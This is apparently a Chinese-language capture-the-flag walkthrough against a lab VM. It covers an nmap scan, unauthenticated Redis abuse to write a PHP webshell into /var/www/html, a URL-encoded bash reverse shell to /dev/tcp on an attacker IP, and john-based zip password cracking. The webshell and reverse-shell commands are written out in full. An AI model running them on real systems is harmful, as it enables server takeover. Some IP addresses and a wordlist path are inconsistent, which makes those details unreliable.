信息收集
# Nmap 7.94SVN scan initiated Tue Oct 15 08:06:11 2024 as: /usr/lib/nmap/nmap --privileged -sT -A -O -p 22,80,6369,8080 -o nmap_tcp_details.txt 192.168.207.179
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
| 256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_ 256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
6369/tcp closed unknown
8080/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 00:0C:29:2E:77:D9 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.05 ms bogon (192.168.207.179)使用 gobuster 对80 和 8080 分别进行目录爆破,都没有得到结果
我们注意到6369的tcp,ports考虑进行redis连接
redis-cli -h 192.168.117.179
可以看到能够直接登录
使用 Redis 数据库进行潜在的攻击,目的是通过修改 Redis 的配置,利用 PHP 代码注入,生成一个可以在 Web 服务器上执行命令的 Web Shell。利用 Redis 的不安全配置,特别是 Redis 未授权访问的情况下,来获取服务器的控制权。接下来,我将详细解释这些命令的具体作用,并补充其他相关命令的用法。
命令解读 config set dir /var/www/html 作用: 这个命令更改了 Redis 保存文件的工作目录,将其设置为 /var/www/html,这是典型的 Web 服务器的根目录。这样做的目的是让 Redis 将数据库文件写入到一个可以通过 Web 浏览器访问的位置。 风险: 如果 Redis 服务器暴露在外部网络并且没有进行适当的访问控制,那么攻击者可以通过这种方式将恶意文件写入到 Web 服务器目录,甚至在 Web 上执行。 config set dbfilename cmd.php 作用: 这个命令将 Redis 数据库的保存文件名设置为 cmd.php。正常情况下,Redis 会将其内存中的数据写入到一个 .rdb 格式的文件中,但这里修改为 .php 文件格式是为了让 Web 服务器能够执行其中的 PHP 代码。 风险: 通过更改文件名为 PHP 文件,Redis 在保存数据时就会生成一个可以执行的 PHP 文件。如果这个文件被放置在 Web 服务器的根目录下,攻击者就可以通过访问这个文件来执行任意命令。 set cmd "<?php system($_GET['cmd']); ?>" 作用: 这个命令是在 Redis 中存储一段 PHP 代码 <?php system($_GET['cmd']); ?>,这是一种非常常见的 Web Shell 代码。该代码允许攻击者通过 URL 中传递的 cmd 参数执行服务器上的系统命令。例如,访问" http://你的服务器/cmd.php?cmd=ls" ,将会在服务器上执行 ls 命令。 风险: 这是一种远程命令执行(RCE,Remote Command Execution)漏洞。如果这段 PHP 代码能够被执行,攻击者几乎可以完全控制目标服务器,执行任何命令,比如查看文件、创建用户,甚至下载或删除数据。 save 作用: 这个命令强制 Redis 立即将内存中的数据保存到磁盘上,也就是在你指定的文件名 cmd.php 中保存。这一步之后,Redis 会在 /var/www/html/cmd.php 生成一个包含上述 PHP 代码的文件。 风险: 通过这一保存操作,攻击者成功地将包含恶意代码的 PHP 文件写入 Web 服务器目录,并可以通过 Web 浏览器来访问并执行它。 其他相关命令补充 CONFIG GET dir 这个命令可以用来查看 Redis 当前的工作目录。它是 CONFIG SET dir 的对应命令,方便检查当前 Redis 写入文件的位置。 CONFIG GET dbfilename 类似地,这个命令可以用来查看当前 Redis 数据库保存文件的文件名。 FLUSHALL 这个命令可以清除 Redis 中的所有数据。通常在测试时,可以使用该命令来清空所有数据。 BGSAVE 这是另一个保存命令,类似于 SAVE,但 BGSAVE 是在后台进行保存的,不会阻塞 Redis 的主线程。这在 Redis 服务器负载较重时可能更合适。
我们先在/var/www/html下写入一个cmd.php
然后发现这个php关联的是 8080的页面
https://tool.chinaz.com/tools/urlencode.aspx
$ curl 192.168.31.150:8080/cmd.php?cmd=bash -c "bash -i >%26 %2Fdev%2Ftcp%2F192.168.31.10%2F2333 0>%261"然后提权很简单
最后是一个zip密码的破解
$ zip2john root.txt
$ john --wordlist=/use/share/wordlists/rockyou.txtroot.txt: cf537b04dd79e859816334b89e85c435